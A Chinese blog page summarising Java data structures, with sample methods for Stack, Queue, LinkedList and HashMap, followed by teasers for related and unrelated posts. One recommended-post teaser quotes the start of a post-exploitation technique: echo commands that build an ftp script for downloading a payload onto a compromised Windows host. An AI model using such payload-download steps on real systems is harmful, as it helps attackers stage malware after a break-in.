SUMMARY | JAVA中的数据结构
String
- String类是不可修改的,创建需要修改的字符串需要使用StringBuffer(线程同步,安全性更高)或者StringBuilder(线程非同步,速度更快)。
- 可以用“+”连接String。
- 用String.format()创建格式化字符串。
ArrayList
- 动态数组,可以动态的增加或者减少元素。
- 常用操作:
- 创建:ArrayList<Type> arrayList=new ArrayList<>();
- 添加元素:add
- 获取元素:get
- 删除元素:remove
- 获取数组大小:size
- 判断是否包含某一元素:contains
- 设置元素:set
- 清空数组:clear
- 判断是否为空:isEmpty
- 遍历方式:通过下标索引效率最高
Type temp;
for(int i=0;i<arrayList.size();i++){
temp=arrayList.get(i);
}
- arrayList排序需要实现Comparator接口以实现自定义排序
Comparator<String> comparator=new Comparator<String>() {
@Override
public int compare(String o1, String o2) {
if(o1.compareTo(o2)>0) return 1;
if(o1.compareTo(o2)<0) return -1;
return 0;
}
};
Stack
- 由vector拓展而来
- 常用操作:push,peak,pop,search,isEmpty
public static void stackTest() {
Stack<String> stack=new Stack<String>();
//将元素压入栈顶
System.out.println(stack.push("haha"));
System.out.println(stack.push("yes"));
//栈顶元素的search结果为1,然后从栈顶向栈底依次递增
System.out.println(stack.search("haha"));
//查看栈顶元素
System.out.println(stack.peek());
//弹出栈顶元素并返回栈顶元素
System.out.println(stack.pop());
//判断栈是否非空
System.out.println(stack.isEmpty());
}
Queue
- 是一个接口,LinkedList实现Queue接口
- 常用操作:offer,peek,poll,isEmpty
public static void queueTest() {
//LinkedList实现了Queue接口,所以构造时使用LinKedList
Queue<String> queue=new LinkedList<String>();
//在队列尾部增加元素,并返回是否增加成功
System.out.println(queue.offer("abc"));
System.out.println(queue.offer("def"));
//返回队首元素,若队列空,则返回null;(ps:element在队列空时抛出异常)
System.out.println(queue.peek());
//弹出队首元素,并返回队首元素,若队列空则返回null
System.out.println(queue.poll());
//判断队列是否空
System.out.println(queue.isEmpty());
}
LinkedList
- 双向链表,非同步
- 常用操作:addFirst,addLast,add,getFirst,getLast,get,removeFirst,removeLast,remove,isEmpty
public static void linkedlistTest() {
LinkedList<String> linkedList=new LinkedList<String>();
//在链表头部加,尾部加,任意位置加元素
linkedList.addFirst("haha");
linkedList.addLast("yali");
linkedList.add(1, "good");
//输出链表
System.out.println("first element:"+linkedList.getFirst());
System.out.println("last element:"+linkedList.getLast());
for(int i=0;i<linkedList.size();i++) System.out.println(linkedList.get(i));
//删除任意位置,头部,尾部的链表元素
linkedList.remove(1);
linkedList.removeFirst();
linkedList.removeLast();
//判断链表是否空
System.out.println(linkedList.isEmpty());
}
HashMap
- 非同步
public static void hashmapTest() {
HashMap<String, Integer> hashMap=new HashMap<String, Integer>();
//向哈希表中添加元素
hashMap.put("tp", 123);
hashMap.put("zp", 567);
System.out.println(hashMap);
//通过迭代器便利哈希表
for(Iterator<Entry<String, Integer>> iterator=hashMap.entrySet().iterator();iterator.hasNext();){
Entry<String, Integer> entry=iterator.next();
System.out.println(entry.getKey());
System.out.println(entry.getValue());
}
//查找哈希表中是否有该键
System.out.println(hashMap.containsKey("he"));
//查找哈希表是否有该值
System.out.println(hashMap.containsValue(567));
//删除哈希表中的键值对
hashMap.remove("tp");
System.out.println(hashMap);
}
SUMMARY | JAVA中的数据结构的更多相关文章
- java中的数据结构(集合|容器)
对java中的数据结构做一个小小的个人总结,虽然还没有到研究透彻jdk源码的地步.首先.java中为何需要集合的出现?什么需求导致.我想对于面向对象来说,对象适用于描述任何事物,所以为了方便对于对象的 ...
- [转]详细介绍java中的数据结构
详细介绍java中的数据结构 本文介绍的是java中的数据结构,本文试图通过简单的描述,向读者阐述各个类的作用以及如何正确使用这些类.一起来看本文吧! 也许你已经熟练使用了java.util包里面的各 ...
- 详细介绍java中的数据结构
详细介绍java中的数据结构 http://developer.51cto.com/art/201107/273003.htm 本文介绍的是java中的数据结构,本文试图通过简单的描述,向读者阐述各个 ...
- Java中的数据结构及排序算法
(明天补充) 主要是3种接口:List Set Map List:ArrayList,LinkedList:顺序表ArrayList,链表LinkedList,堆栈和队列可以使用LinkedList模 ...
- 动图+源码,演示Java中常用数据结构执行过程及原理
最近在整理数据结构方面的知识, 系统化看了下Java中常用数据结构, 突发奇想用动画来绘制数据流转过程. 主要基于jdk8, 可能会有些特性与jdk7之前不相同, 例如LinkedList Linke ...
- 动图+源码,演示 Java 中常用数据结构执行过程及原理
阅读本文大概需要 3.7 分钟. 作者:大道方圆 cnblogs.com/xdecode/p/9321848.html 最近在整理数据结构方面的知识, 系统化看了下Java中常用数据结构, 突发奇想 ...
- Java中的数据结构有哪些?HashMap的工作原理是什么?
Java中常用数据结构 常用的数据结构有哈希表,线性表,链表,java.util包中有三个重要的接口:List,Set,Map常用来实现基本的数据结构 HashMap的工作原理 HashMap基于ha ...
- Java中的数据结构-HashMap
Java数据结构-HashMap 目录 Java数据结构-HashMap 1. HashMap 1.1 HashMap介绍 1.1.1 HashMap介绍 1.1.2 HashMap继承图 1.2 H ...
- 18、Java中的 数据结构
Java2中引入了新的数据结构 集合框架 Collection,下一节再谈论(非常重要,面试也常问). 1.枚举 (Enumeration) 1.1 Enumeration 源码: public in ...
随机推荐
- Linux/Mac中alias的使用
最近在设置代理的时候,每次手写不方便,想起linux有个alias命令可以用,防止忘记,这边记录一下 一.alias 设置 1.设置别名 proxy # 1. # 设置别名前,使用 `type 自定义 ...
- Java中的线程Thread方法之---suspend()和resume()
前篇说到了Thread中的join方法,这一篇我们就来介绍一下suspend()和resume()方法,从字面意义上可以了解到这两个方法是一对的,suspend()方法就是将一个线程挂起(暂停),re ...
- SPOJ:[DIVCNT3]Counting Divisors
题目大意:求1~N的每个数因子数的立方和. 题解:由于N过大,我们不能直接通过线性筛求解.我们可以采用洲阁筛. 洲阁筛的式子可以写成: 对于F(1~√n),可以直接线性筛求解. 对于,我们进行以下DP ...
- 「THUSC 2016」成绩单 & 方块消除 (区间dp)
成绩单 $f[l][r][mi][mx]$表示从l到r发到还没发的部分的最小值为mi最大值为mx时的最小代价. $f[l][r][0][0]$表示从l到r全部发完的代价. 自己写的无脑dp,枚举中转点 ...
- 一句话下载总结(用于后渗透上传payload)
利用ftp来下载payload文件 echo open 192.168.1.1 21> ftp.txt echo ftp>> ftp.txt echo bin >> ft ...
- 微信小程序--跳转页面常用的两种方法
一.bindtap="onProductsItemTap"绑定点击跳转事件 在.wxml文件中绑定 在.js文件中实现绑定事件函数 二.navigator标签配合URL跳转法 在w ...
- Annotation详解
转自:http://www.doc88.com/p-995532241886.html 首先我们定义一个简单的注解 package com.qjy.annotation; import java.la ...
- [JZOJ 5818] 做运动
题意:带温度最短路. 思路: 我们将温度从小到大的将边加入,用并查集维护连通性. 如果一旦联通那么跑一遍\(spfa\)就可以得到答案. 复杂度\(O(m log m)\) #include < ...
- 【POJ】3268 Silver Cow Party
题目链接:http://poj.org/problem?id=3268 题意 :有N头奶牛,M条单向路.X奶牛开party,其他奶牛要去它那里.每头奶牛去完X那里还要返回.去回都是走的最短路.现在问这 ...
- capserjs-prototype(下)
scrollTo() 具体样式: scrollTo(Number x, Number y) New in version 1.1-beta3. Scrolls current document to ...